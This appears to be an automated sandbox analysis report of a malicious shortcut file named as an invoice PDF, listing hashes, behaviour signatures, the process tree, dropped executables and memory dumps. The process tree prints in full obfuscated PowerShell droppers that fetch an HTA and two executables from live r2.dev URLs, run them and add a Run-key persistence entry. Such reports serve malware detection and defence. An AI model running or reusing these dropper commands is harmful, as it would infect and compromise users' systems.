Analysis

  • max time kernel
    145s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    29-11-2024 16:01

General

  • Target

    Rechnung_2024_0093.pdf.lnk

  • Size

    3KB

  • MD5

    22c803dba48be47631f50a2bc486663d

  • SHA1

    62061211cc2ec3c8d655e0c3217e1e0febb2a4f8

  • SHA256

    7626763bffacecfaaad1880271b0ebc95b3bf961fc21a94e83341641d516adec

  • SHA512

    258635b1c0428a64ad28f0f3d30d24ead81a9e4413a962c49dc5804606931b26046ca048c1e22b4116d1b7f9148e5dcf9c9c6413c06221fce446601da4826709

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://pub-fee23c54ae4b464fb3904eebeb70c629.r2.dev/upgrade.hta

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Rechnung_2024_0093.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $W='b/hLra647502c-dA3gf.uv9e:sptM'; &(-join($W[(-251+276),(-817+822),(-322+325)])) ~* (-join($W[(-251+276),(-817+822),(-322+325)])); ~* =# (-join($W[(-91+119),(-251+276),(716-714),(781-754),(-817+822)])); foreach($U in @((-539+541),(-684+711),(-330+357),(-781+807),(278-253),(678-654),(-677+678),(-293+294),(798-772),(-104+124),(557-557),(-984+997),(912-894),(199-176),(-640+663),(-585+596),(336-320),(-872+884),(208-199),(-754+761),(535-530),(803-780),(-277+284),(-543+543),(185-178),(-460+466),(-965+972),(764-746),(-246+246),(-517+533),(-405+427),(-234+244),(-900+907),(417-394),(-84+107),(-470+470),(-739+762),(-323+323),(788-780),(469-459),(436-424),(-858+864),(858-847),(450-428),(-309+328),(107-103),(744-733),(-529+548),(-382+396),(-437+460),(439-418),(-358+359),(-556+576),(-175+201),(-763+780),(-704+708),(141-136),(912-898),(-592+615),(-757+776),(128-126),(261-234),(890-885))){$O+=$W[$U]}; =# $O;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://pub-fee23c54ae4b464fb3904eebeb70c629.r2.dev/upgrade.hta
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:2880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Adds Run key to start application
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Users\Admin\AppData\Roaming\KNVYINNN.exe
            "C:\Users\Admin\AppData\Roaming\KNVYINNN.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1028
            • C:\Users\Admin\pyexec.exe
              "C:\Users\Admin\pyexec.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1948
              • C:\Users\Admin\AppData\Roaming\AltDaemon\pyexec.exe
                C:\Users\Admin\AppData\Roaming\AltDaemon\pyexec.exe
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:2952
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\SysWOW64\cmd.exe
                  8⤵
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of WriteProcessMemory
                  PID:2204
                  • C:\Users\Admin\AppData\Local\Temp\BQE_Fast.exe
                    C:\Users\Admin\AppData\Local\Temp\BQE_Fast.exe
                    9⤵
                    • Loads dropped DLL
                    PID:2304
          • C:\Users\Admin\AppData\Roaming\second.exe
            "C:\Users\Admin\AppData\Roaming\second.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: GetForegroundWindowSpam
            PID:2384

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\25784c87

    Filesize

    5.5MB

    MD5

    9662346c1f8eb97026c1f3fb0bbef191

    SHA1

    6d48f413a38056579d7b135bc8c49ba2439a4bea

    SHA256

    ee0af38e2861064f26d2b8b42ac8d9e88505dd6ead5fca9b4c097a1263c8648d

    SHA512

    ea471e2dbb3f74506665645709f5386410875d367a6130012b40310019fe945b211f5e5e5e541c7df38345bf998093b284e313582e13ca60a9d63ef730aaf79f

  • C:\Users\Admin\PYTHON27.DLL

    Filesize

    2.5MB

    MD5

    22ac09892f3706c6660d1ffe3387c07a

    SHA1

    06e0f1ea9958b338598d0b1378918e4efca773b8

    SHA256

    2e158dfbcf37e16d4b0d73d59f5d583a733a12c7cfed243a76b2de2fc9defbf7

    SHA512

    4e40e904e680fd861bbb782c4b790c3b290e612e8fc196ab520b1ab7de53e696df316d45968f744ddf218ce04ca06ae2ae1cbf8b6b8cab9c04c980ca32befeb0

  • C:\Users\Admin\hvotj

    Filesize

    4.4MB

    MD5

    e70ee3bca802db0197b2632b0f2ab4db

    SHA1

    aa7e9665baaa4a2c487dd5d1059b2cb2cdcae8e3

    SHA256

    0cbf2430f07b5bdef2633605e0a65ed68ac1b3dbf3ae5bb8b79695f40a48aefd

    SHA512

    e93c763eff21a05c8d283a07ea9a6a357fa92394f2da35e75f3796e8ca94f9f220811ead59b5d562a7f20a6e2caa459a20dc8076a749d81628253dcba1fe1709

  • C:\Users\Admin\ikvseqx

    Filesize

    22KB

    MD5

    9078f84220e8b7379bfa2f4333995bc1

    SHA1

    21f0cbeffdcd99bce6521aadead7aa6f68edd666

    SHA256

    b7c4fec4464e43a5736bf764f137f9aee03c7e0d67755d964ab74854bc725f8f

    SHA512

    45dd6188e3085d34e632091068f9d7c31d22e2643a20fb1a01c1c255f593e71fa2aeb34fd85d22dfacfbbdf7a1d69750206745215ee77d01a759ada9849be090

  • C:\Users\Admin\msvcr90.dll

    Filesize

    638KB

    MD5

    11d49148a302de4104ded6a92b78b0ed

    SHA1

    fd58a091b39ed52611ade20a782ef58ac33012af

    SHA256

    ceb0947d898bc2a55a50f092f5ed3f7be64ac1cd4661022eefd3edd4029213b0

    SHA512

    fdc43b3ee38f7beb2375c953a29db8bcf66b73b78ccc04b147e26108f3b650c0a431b276853bb8e08167d34a8cc9c6b7918daef9ebc0a4833b1534c5afac75e4

  • C:\Users\Admin\pyexec.exe

    Filesize

    28KB

    MD5

    b6f6c3c38568ee26f1ac70411a822405

    SHA1

    5b94d0adac4df2d7179c378750c4e3417231125f

    SHA256

    a73454c7fad23a80a3f6540afdb64fc334980a11402569f1986aa39995ae496d

    SHA512

    5c0a5e9a623a942aff9d58d6e7a23b7d2bba6a4155824aa8bb94dbd069a8c15c00df48f12224622efcd5042b6847c8fb476c43390e9e576c42efc22e3c02a122

  • \Users\Admin\AppData\Local\Temp\BQE_Fast.exe

    Filesize

    2.3MB

    MD5

    967f4470627f823f4d7981e511c9824f

    SHA1

    416501b096df80ddc49f4144c3832cf2cadb9cb2

    SHA256

    b22bf1210b5fd173a210ebfa9092390aa0513c41e1914cbe161eb547f049ef91

    SHA512

    8883ead428c9d4b415046de9f8398aa1f65ae81fe7945a840c822620e18f6f9930cce2e10acff3b5da8b9c817ade3dabc1de576cbd255087267f77341900a41c

  • \Users\Admin\AppData\Roaming\KNVYINNN.exe

    Filesize

    6.1MB

    MD5

    e06afcdb16d22bd45bc3a5b01c96da3a

    SHA1

    a0f776c4c64a808676082449f23858257f1aa132

    SHA256

    5665bb7e9557ec139e0a60fd43b8775fb9bb764db581e7e2278c83b1f2c3c358

    SHA512

    13beb7a8aa1aae7f182cdc0215d56feac1f04532dce6d1fddc358d422e571616f2fcea569bf6f1a8dcdc5733780938b4f82681e24290338852e6e37102741e33

  • \Users\Admin\AppData\Roaming\second.exe

    Filesize

    4.0MB

    MD5

    47cb10ebf122aea1d817c5b57737c2fc

    SHA1

    074b2f5ab20d09dcf7c0c8701568fc3654a47303

    SHA256

    54be46f3daaad32f18eb85dae280b3ca6f81c640dd9531ed16b71817a3a2973c

    SHA512

    c8237bfb26a625eaeafe36dc0277626735da1f2dbf33208374a28ce08c52b97cb2c087b85bd227d6cc7b7541743c28d674415031ee600853056af393ead26ecb

  • memory/1948-93-0x00000000741B0000-0x0000000074324000-memory.dmp

    Filesize

    1.5MB

  • memory/1948-94-0x0000000076F20000-0x00000000770C9000-memory.dmp

    Filesize

    1.7MB

  • memory/2176-61-0x000000001B630000-0x000000001B912000-memory.dmp

    Filesize

    2.9MB

  • memory/2176-62-0x0000000001E00000-0x0000000001E08000-memory.dmp

    Filesize

    32KB

  • memory/2204-164-0x0000000074210000-0x0000000074384000-memory.dmp

    Filesize

    1.5MB

  • memory/2204-115-0x0000000076F20000-0x00000000770C9000-memory.dmp

    Filesize

    1.7MB

  • memory/2304-176-0x000007FFFFFD9000-0x000007FFFFFDA000-memory.dmp

    Filesize

    4KB

  • memory/2304-180-0x0000000000160000-0x000000000045D000-memory.dmp

    Filesize

    3.0MB

  • memory/2304-179-0x0000000000160000-0x000000000045D000-memory.dmp

    Filesize

    3.0MB

  • memory/2304-177-0x000007FFFFFD9000-0x000007FFFFFDA000-memory.dmp

    Filesize

    4KB

  • memory/2760-43-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-39-0x000000001B560000-0x000000001B842000-memory.dmp

    Filesize

    2.9MB

  • memory/2760-40-0x0000000002780000-0x0000000002788000-memory.dmp

    Filesize

    32KB

  • memory/2760-45-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-44-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-42-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-41-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-38-0x000007FEF55DE000-0x000007FEF55DF000-memory.dmp

    Filesize

    4KB

  • memory/2952-111-0x0000000076F20000-0x00000000770C9000-memory.dmp

    Filesize

    1.7MB

  • memory/2952-112-0x0000000074210000-0x0000000074384000-memory.dmp

    Filesize

    1.5MB

  • memory/2952-110-0x0000000074210000-0x0000000074384000-memory.dmp

    Filesize

    1.5MB